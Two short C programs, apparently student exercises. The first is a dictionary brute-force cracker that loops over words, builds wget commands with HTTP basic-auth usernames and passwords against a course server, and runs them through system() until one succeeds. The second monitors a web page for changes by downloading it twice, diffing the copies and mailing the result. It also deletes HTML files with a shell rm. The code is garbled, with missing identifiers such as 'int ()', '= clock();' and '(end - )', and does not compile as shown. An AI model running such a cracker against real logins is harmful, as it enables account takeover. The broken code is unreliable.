




#include <stdio.h>
#include <stdlib.h>
#include <time.h>


int ()

{
   int cntr=0;
   char get[96];
   char username[]="";
   char password[16];
   int R_VALUE;
   double time_used;
   clock_t , end;
  
   FILE* fp;
   fp = fopen("/usr/share/lib/dict/words","r");
     
    = clock();
  
       while ( fscanf(fp,"%s",&password) != EOF )
	   {
        
		  
		  if(strlen(password)>3) continue;
		   
		        cntr++;
                printf("%d          >> PASSWORD SEND : %s \n",cntr, password);
              
				sprintf(get,"wget --http-user=%s --http-passwd=%s http://sec-crack.cs.rmit.edu./SEC/2/",username,password);
                
  
                R_VALUE=system(get);
          
	            if(R_VALUE==0)
				{
		         printf("The Password has been cracked and it is : %s" , password);
		         exit(0);
				}

	   }

	   
  end = clock();
  time_used = ((double) (end - )) / CLOCKS_PER_SEC;
  printf("time_used = %f\n", time_used);

}




         

#include<stdio.h>
#include<stdlib.h>
#include<string.h>

    
    int main ()
    {
      FILE *fp;
      char s[300] , ptr[20]; 	     
	system("rm *.html* ");
      system("wget http://www.cs.rmit.edu./students/ ");    
	system("mv index.html First.html");
	system("sleep 10");
	system("wget http://www.cs.rmit.edu./students/ "); 
      system("diff First.html index.html > difference.txt" );
	fp=fopen("difference.txt","r");
      if(fgets(ptr,30,fp))
	     {
	     system( "mailx -s   \"Changes were detected \"    < difference.txt ");
           }
    else 
	      printf(" were  changes detected"); 
	     
            return 0;   
      

     }
      
      
   



